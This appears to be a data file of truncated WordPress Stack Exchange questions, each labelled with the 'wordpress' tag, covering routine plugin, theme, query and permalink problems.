custom administrative area, where I have a list of posts displayed from different authors. I am trying to be able to change the post_format for one of the posts, based on the click of a ... ",['wordpress'] "Title: Modifying All In One SEO Pack pictures title Body: The title of the pictures gallery generated by the plugin All in One SEO Pack is like this: subject title - pictures title - blog title How can I make it like this? pictures title - blog title ",['wordpress'] "Title: Problem with update_user_meta() meta_value Body: I am trying to insert a large number of user in to the wordpress db using wp_insert_user(). After inserting each user, I am trying to add an user meta for each user. I am doing like this: $meta_value ... ",['wordpress'] "Title: Adding a capability to a role doesn't apply users that hold the role Body: When my theme is activated (after_switch_theme hook) I add caps to administrator role but it doesn't affect caps of the admin user. $user_roles = new WP_ROLES(); ... ",['wordpress'] "Title: Multi site and media uploader Body: There seems to be a strange issue with my multisite on my live blog. Maybe its because I have one site set to ""deleted"" - so I can edit it, but the public can't see it? My current upload is set up as ... ",['wordpress'] "Title: Worpress json api plugin - calling from jQuery [duplicate] Body: I am using JSON API Plugin for wordpress. It generates a json file from my wordpress content at http://grmmph.com/?json=1. It seems to work fine if from the link above, however when I am trying to ... ",['wordpress'] "Title: How to let custom post type posts show in standard post archive (like in homepage)? Body: If I, for example, create a custom post type named 'tutorial', how do I get it to also show up in places like ""Recent posts"" , etc? ",['wordpress'] "Title: Copy Widget Settings because of changed IDs Body: I want to update a customers blog to a child theme that is based on a newer version of the actual deployed theme. My problem is, the developers of the theme changed the IDs of sidebars. In the old ... ",['wordpress'] "Title: Hebrew WP 3.5: plugin activated, does not appear in sidebar [duplicate] Body: I am trying to create a custom post type with mandatory custom fields. I've followed the Adding Custom Fields to a Custom Post Type, the Right Way tutorial, and installed the Advanced Custom Fields ... ",['wordpress'] "Title: How can I upload SVG images using the media uploader? Body: I really love using SVG images as I can scale them as big or as small as I want. However, WordPress won't allow me to upload them using the media uploader. How can I change this? ",['wordpress'] "Title: Git pulls (html/css/js updates) not populating with W3Total Cache and CloudFront Body: I am using Git/GitHub for version control. I develop locally commit/push to GitHub and pull from GitHub to my staging site. I have W3 Total Cache setup and Amazon CloudFront as a CDN. Since setting up ... ",['wordpress'] "Title: Rename attachments during upload Body: Here's the function I use for WP to rename images during upload on the fly and set the image's filename to match the post slug. function wpsx_5505_modify_uploaded_file_names($arr) { // Get the ... ",['wordpress'] "Title: 2 language CPT content Body: I'm working on a CPT Portfolio to present my job I wish to be able to have it in 2 languages but I would prefer not to use an additional plugin since that is only 2 fields that would be in 2 language ... ",['wordpress'] "Title: How safe is it to delete old posts edits to save database space? Body: After this question: http://wordpress.stackexchange.com/a/93902/27148 There is an answer that suggests deleting past edits directly from database, which would be nice, because I could create ... ",['wordpress'] "Title: Links are not working on All Plugins Page Body: I apologigize for the question, as it sounds silly. But I am forced to ask this question, as I didn't find it's answer anywhere. I have about 3 sites on WordPress, and 2 are working absolutely fine. ... ",['wordpress'] "Title: When creating a WordPress page, a “-2” suffix is added to new pages' permalinks Body: I have noticed after deleting an original page in WordPress with lets say a permalink of your_domain.com/contact/ and then trying to recreate the same page with the same name/slug, my WP is generating ... ",['wordpress'] "Title: Category pie diagram meta box in post editing page Body: I am trying to build a plugin for showing a pie diagram based on the number of those categories which have maximum posts. This diagram is a meta box in post editing page. Here is my source of ... ",['wordpress'] "Title: Display Posts Only with Specific Tag Body: I'm trying to only display posts with the tags Movie Trailers and Gaming Trailers but my loops are still displaying everything under the category /videos/ heres what I have category-videos.php: ... ",['wordpress'] "Title: How to skip woocommerce PayPal redirection? Body: I use WooCommerce plugin for my shop. I want to skip the PayPal redirection on the ""Thank You"" page, where users are redirect to PayPal site. I'd like to add to every order also the shipping prices ... ",['wordpress'] "Title: get post by nav id Body: I am trying to get the post id by the navigation id to use in a loop. I made a new query to get posts. I am using multiple queries on a page because I need to. one of the queries gets page templates ... ",['wordpress'] "Title: Turing Off Multiple Photo Creation [duplicate] Body: If I upload an image to my Wordpress site, it actually creates SEVEN photos in my files. (The original that I uploaded, and 6 others of different sizes.) I can see how this might be useful to many ... ",['wordpress'] "Title: How can one utilize a variable as a callback function name for add_settings_field Body: I'm trying to cut down on the amount of code that is in my theme options function. I'm adding my settings like so: add_settings_field($k,$v,$callback,$the_options,$the_group,$args); This works for ... ",['wordpress'] "Title: Using Nonces for AJAX that only retrieves data Body: Does it make sense to use a nonce on an AJAX action that only returns data and doesn't alter data on the server side? I understand they are important if you are saving data or changing something on ... ",['wordpress'] "Title: How to delete old posts' edits to save space? Body: I need to delete old edits and autosave, they have grown overtime, and are not needed anymore, seeing this post: http://wordpress.stackexchange.com/a/67228/27148 it states: If you have no use ... ",['wordpress'] "Title: Load plugin scripts and styles only on plugin page Body: Hello wordpress users, I'm stuck with a problem while running 2 self made Wordpress plugins. I'll use the following code : define('PLUGIN_URL', plugin_dir_url( __FILE__ )); add_action( ... ",['wordpress'] "Title: Bulk change image titles Body: I have site with more than 1000 posts and they all have one image on it. All have the same title because they where imported via csv... However, I have a custom field on each post that stores the ... ",['wordpress'] "Title: Running Wordpress from MySQL Cluster with HAPRoxy Body: I'm trying to install a wordpress installation where the DB will sit on a MySQL cluster (Galera/Percona XtraDB Cluster) and connected through HAProxy. Everything outside of the Wordpress install ... ",['wordpress'] "Title: wordpress 3.5 tinymce height Body: I've just upgraded wordpress to 3.5 version and I noticed that TinyMCE Advanced Editor is not as tall as before. How can I change default tinyMCE height? UPDATE This is the screenshot of section I ... ",['wordpress'] "Title: How to use get_post_custom function on the blog page? Body: First, I have a static page for homepage and for blog page too. I created a custom box for pages to setup unique background image for the pages. My idea is working on all page templates, but on blog ... ",['wordpress'] "Title: I want to Add My Product Image to Admin Order Email in Woocommerece Body: I want to Add my product image (product which is ordered) in a thumbnail form to recognize the product easily by admin, in Admin Order Email. ",['wordpress'] "Title: Theme Translation? Body: I've download a theme called Contango from Wordpress Themes Repository. The theme have a folder called ""languagues"" and have a file called ""contango.po"". I could open that file and do translation, but ... ",['wordpress'] "Title: The normal loop with different styles doesn't work in search.php Body: This code in the search.php file does not work: <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?> <?php if( get_post_type() == 'post' ) {?> <div id=""post""> ... ",['wordpress'] "Title: Disable wp-admin console for subscribers Body: I do not want the users (role: subscriber) to be able to login via the wp-admin. How would you suggest I do this ? ",['wordpress'] "Title: Show gender icon depending on “Gender” field value Body: I created a profile field value ""Gender"" in buddypress. I want to show icons next all field values. Now I have two icons for male/femaile gender, and I want to show the relevant icon according to ... ",['wordpress'] "Title: Really simple query giving error in SQL syntax Body: I'm sure this is a simple oversight but I cannot seem to narrow it down: global $wpdb; $tablename = $wpdb->prefix . ""icrm_folders""; $sql = $wpdb->prepare( ""SELECT * FROM %s"", $tablename ); ... ",['wordpress'] "Title: Output custom taxonomy sorted by second custom taxonomy Body: I have a custom post type named product and two different custom taxonomies named brand and product-category. I'm trying to create a brands product category overview page similar to a landing page. ... ",['wordpress'] "Title: What is the simplest way to create a redirect Body: If I have a custom post type called Drink which has permalinks like /drink/pepsi/ then /drink/ will list all of the Drinks. How can I rewrite /drink/ to /drinks/? I want permalinks for single Drinks ... ",['wordpress'] "Title: Check if Current Category has Children Body: I need to tell whether or not the current custom taxonomy archive page I'm viewing has child categories. I've got a situation where there are a lot of custom categories with children and the site is ... ",['wordpress'] "Title: Stand alone search function for a specific CPT and its taxonomies? Body: I have a large number of entries entered as Custom Post Type's with their searchable data organized into 3 or 4 different taxonomies. I wanted to implement a stand alone search form in a page ... ",['wordpress'] "Title: Using get_option() in JavaScript Body: Previously, I used the get_option() function to get an option in PHP, like this: $width = get_option('my_width'); This is inside a shortcode function. Now, I want to have an option in JavaScript. ... ",['wordpress'] "Title: child pages are not ordering correctly? [duplicate] Body: I have a custom post type. I want to display them in the menu order. e.g In backend i have something like Post 1 Post 2 Post 3    child 1    child 2 post 4 Post 5 ... ",['wordpress'] "Title: How we sort most popular post on the top Body: I want to sort my posts on the base of most popular. For example i have a dropdown button in menu, which have options Popular Last 7days Last 30days Last 365days all posts So ... ",['wordpress'] "Title: pages not found for custom user role Body: I've created a custom user role for my clients to allow them to manage theme options, and all the other capabilities that the default admin has with the exception of several capabilities that would ... ",['wordpress'] "Title: How we make the filter for fornt end user Body: I develope a filter for posts so that when any user come to my site they can filter the posts on the base of cities/state. So when i store the posts i just store the cities name as a post-meta tag in ... ",['wordpress'] "Title: Does the textdomain have to be the theme's name? Body: Does a theme's text domain have to be the actual theme name? If you develop WP themes, couldn't you just use the same name (perhaps your business name) for all the theme's you develop, making it ... ",['wordpress'] "Title: How to allow logged in users to post anonymously Body: I've been searching and searching for a while now to see if there's a way to allow people who are logged into my BuddyPress site to make a post on the activity section as ""anonymous"" or as their ... ",['wordpress'] "Title: Gravity forms and wp_update_post Body: I am using Gravity Forms to let users create posts. The user fills out a bunch of information, and a post is created. The user gets to choose which categories the post is in, but there is one more ... ",['wordpress'] "Title: Checking conditionals Body: We all know about the default WordPress post types, these being aside, gallery, status, chat and so on. any good theme should support all of them. In the case where a theme does support all of them, ... ",['wordpress'] "Title: WP Cron doesn't execute when time elapses Body: The goal I want to use wp_schedule_single_event( ) to execute a single event that sends me an e-mail 8 minutes after the user submits a form. The issue The following code is in my functions.php: ... ",['wordpress'] "Title: Woocommerce muliple items with same sku Body: My client needs multiple items with the same SKU. She use to be on Ecwid, and she said they allowed this, and also an ""Item Number"" to distinguish between different products with the same SKU. She ... ",['wordpress'] "Title: Enqueueing scripts selectively & activation where needed Body: If I enqueue my scripts selectively, for instance I have a slider I only want to load on homepage, which is activated in main-js, e.g: wp_enqueue_script( 'main-js' ); if ( is_front_page() ) { ... ",['wordpress'] "Title: How to retrieve an image from a post and display it before excerpt of a post? [duplicate] Body: I'm customizing a WordPress template and I would implement the following behavior in the excerpt posts visualization in my homepage: If a post contains images (one or more), in the homepage post ... ",['wordpress'] "Title: Affiliate plugin + marketpress Body: Has anyone successfully integrated the affiliate plugin with marketpress yet? What I would like to do is when a store is created http://subdomain.domainname.com this will be a store that displays the ... ",['wordpress'] "Title: Display Custom comments field number Body: I have some custom comments fields, I need to display the number of times that a meta value is used Example : I have a custom comments field ""Do you like this post"" with multiple choice : Yes ... ",['wordpress'] "Title: Passing multiple variables through url (php) Body: I'm trying to pass two values to another page. Both pages are WordPress page templates. First, I pass the value as such: <tr ... ",['wordpress'] "Title: Is there a way to localize role labels? Body: I'm using Justin Tadlock's Members plugin to create new roles and WP Role on Registration to display them on the registration form. I've got a multilang site (English and Spanish) and I've localized ... ",['wordpress'] "Title: Rewrite and replace url wp-admin/edit.php and wp-admin/post-new.php Body: everybody I want to rewrite and replace all url mydomain.com/wp-admin/edit.php -> mydomain.com/wp-admin/edit/ and mydomain.com/wp-admin/post-new.php -> mydomain.com/wp-admin/addnewpost/ How i ... ",['wordpress'] "Title: Custom $wpdb returns unexpected time based results Body: I am using the $wpdb class to do a custom SQL query but I am getting weird results. Basically this is what my SQL query is supposed to do Retrieve the titles of post_types 'question' only if they ... ",['wordpress'] "Title: Move Widget Meta Box From Appearance to Pages Body: Is it possible to relocate the widget/sidebar meta boxes that normally appear at Appearance > Widgets so that they appear as a meta box on a specific page's Page Edit dashboard page? Here's what ... ",['wordpress'] "Title: Automatically search and replace link in content (pages/posts)? Body: The users of my site mainly share documents by inserting links into content (pages/posts) using the built in editor. These files include everything from pdfs to word documents. The users currently ... ",['wordpress'] "Title: Create a short code that inserts js Body: Note: People are assuming this question is already answered when in fact it is no where close to being the right answer. I have created tons of short codes, How ever I am using Jquery plugin TOC and ... ",['wordpress'] "Title: Trying to have A - Z on top for custom posts Body: Im currently using this code below which shows a letter than companies under that letter.. Im trying to have letters go across the top A - Z and once clicked it will show companies.. im using a custom ... ",['wordpress'] "Title: Comments screen in backend, how to disable visual editor when replying to a comment Body: I'm almost done to create my project with WP and all the steps taken have brought me almost to the finish line. The following recent answers I had were able to help me customizing the comments area: ... ",['wordpress'] "Title: Why is the first query affecting the second query, even after wp_reset_query() and wp_reset_postdata(), but not on the second page? Body: I am literally clueless as to why the code does not function properly on the first page, but functions as expected on the second page. I have already tried running the second query via another ... ",['wordpress'] "Title: Categories sorting Body: I'm using code below to spit out custom post types along with its categories, so Category 1 ---post 1 ---post 2 Category 2 ---post 1 ---post 2 ---post 3 etc. That works well for ... ",['wordpress'] "Title: use php code in gravity forms fields (auto fill) Body: i have been searching for a method to insert php code in to gravity form fields, and at last, i have reached the two solutions to autofill fields: for example, i have a parameter, named ""date"". 1) ... ",['wordpress'] "Title: add text to posts and pages automatically Body: i wanted to be automatically added specific text to the POSTS and PAGES while publishing, then inserted the codes into functions.php: function add_before_content($content) { if ( 'post' == ... ",['wordpress'] "Title: Facebook comments box on front page Body: I have a WordPress 3.5.1 installation on my WordPress Shack, with the Facebook plugin 1.3.1 installed and the Twenty Twelve 1.1 theme. I have the settings on Facebook - Comments box so that I display ... ",['wordpress'] "Title: Why allow overriding crucial pluggable functions wp_verify_nonce and wp_create_nonce? Body: Among the functions in /wp-includes/pluggable.php are the functions wp_verify_nonce and wp_create_nonce. Both functions are very important in the protection against CSRF-attacks. However, it is easy ... ",['wordpress'] "Title: Getting Auth and Id from wp-fb-autoconnect Body: I'm trying to access facebook id and auth token values within my custom page. I'm using the wp-fb-autoconnect plugin. I've tried settings these via the hook (in function.php): ... ",['wordpress'] "Title: Backend in English and Frontend in Defined Language Body: I need to translate just dates and days of the week to the custom language in the frontend, but keep the backend admin panel in English. Can I simply remove all unnecessary strings from the default ... ",['wordpress'] "Title: Custom gallery with slideshow Body: I followed the accepted answer for this question to replace the standard Wordpress gallery with one using my own structure. However, an unintended side-effect of this is that it has overwritten ... ",['wordpress'] "Title: Create a drop-down archive Body: Wordpress can display a monthly archive with a drop-down <select name=""archive-dropdown"" onchange=""document.location.href=this.options[this.selectedIndex].value;""> <option ... ",['wordpress'] "Title: Using static pages on Wordpress site Body: I built a few static pages in HTML while I was practicing some techniques. I would like to include those pages (and that hard work) in a word press site. I have already created the WP page that hold ... ",['wordpress'] "Title: only display Pages which have children Body: Here is my website structure(wordpress pages) - HOME - - Tutorial - + PHP Tutorial + + Photoshop Tutorial + + Css Tutorial + + HTML Tutroial + - news - + November + ... ",['wordpress'] "Title: rewrite rules, replicate page for #! vars Body: my site has only one page and tons of news in small boxes, i load all of this news from a JSON with jquery. Im trying to make the site google friendly so i've checked in google ""AJAX content crawled"" ... ",['wordpress'] "Title: Is there a way to create a “copy post” link? Body: Much like the ""edit"" link when viewing a post, is here a ""copy post"" function I can include with my theme? ",['wordpress'] "Title: Save users last visited blogs within whole network Body: I have a big network with subdomains (many of which use domains). I thought about solving this problem with cookies but after some research I don't think that crossdomain cookies is a best Idea. So I ... ",['wordpress'] "Title: Settings API - save multiple tabs at once Body: In the attached screenshot you can see the structure of the theme options we are working with. There are 8 tabs and for each tab, we have created custom fields using code similar to what can be seen ... ",['wordpress'] "Title: Trying to get clicked link 'ID' to display specific metabox in 'Add New Post' Body: So this is something I am trying to accomplish. Basically, I created a custom Admin Page: with 2 link options that both lands on the 'Add New Post' page. For example: 'Add New Post with X' and the ... ",['wordpress'] "Title: Default permalink changes Body: I need to use in my permalinks same titles for different post types and as far as I know the slug must be unique so the permalinks cannot be: custom-post-type-1/hello-world ... ",['wordpress'] "Title: get_posts() with pagination problem Body: <ul class=""list""> <?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; $args = array( 'category' => '8', 'orderby' => 'post_date', ... ",['wordpress'] "Title: Retrieve Custom Taxonomies with Description and Slug Body: I've been looking to grab a list of custom taxonomies for a custom post type with the titles, descriptions and tag but have not been able to progress or find anything helpful. Breakdown: I have ... ",['wordpress'] "Title: Transfer of wordpress site from one domain and server to another domain and server Body: I have moved a wordpress site from one domain and server to another domain and server. Everything looks fine except all the links within the site are still pointing to the previous domain. Please let ... ",['wordpress'] "Title: WordPress Theme - jQuery JavaScript Library Issue Body: I am having some issues with a couple of plugins which use jQuery/JS i.e. cookie control and a picasa photo gallery. The theme I am using is quite basic and comes with no sliders etc with moving ... ",['wordpress'] "Title: Add exception to WP Mobile Detector Body: In the function websitez_detect_mobile_device in functions.php of WP Mobile Detector there is the detection of a mobile device (smartphone). Now I want that my Samsung Galaxy Tab (GT-P5100) is not ... ",['wordpress'] "Title: Query Problem in getting top viewed posts Body: I wanted to display top viewed posts by month, I add this code snip, to form a query and get required 15 posts, but it displays 3-4 posts.Here is my query: global $post; $args = array( ... ",['wordpress'] "Title: Translate Woosidebars plugin strings Body: I'm trying to translate Woosidebars strings in french using PoEdit but my french strings are never shown on the front-end. English strings are always displayed, even when I change the language (And I ... ",['wordpress'] "Title: Fatal error: Allowed memory size of 37748736 bytes exhausted …, on larger offset query parameter Body: I hope this is not a duplicate question. I have a custom .csv generator functions that basically export data from posts and its post metas. The function works fine on this WP_query parameter: ... ",['wordpress'] "Title: more tables created when create a new site Body: Can someone suggest me an idea on this? I am using Wordpress MU. And as per my requirement every user who register on main site will have a sub-site for them. And it is working correctly. I ... ",['wordpress']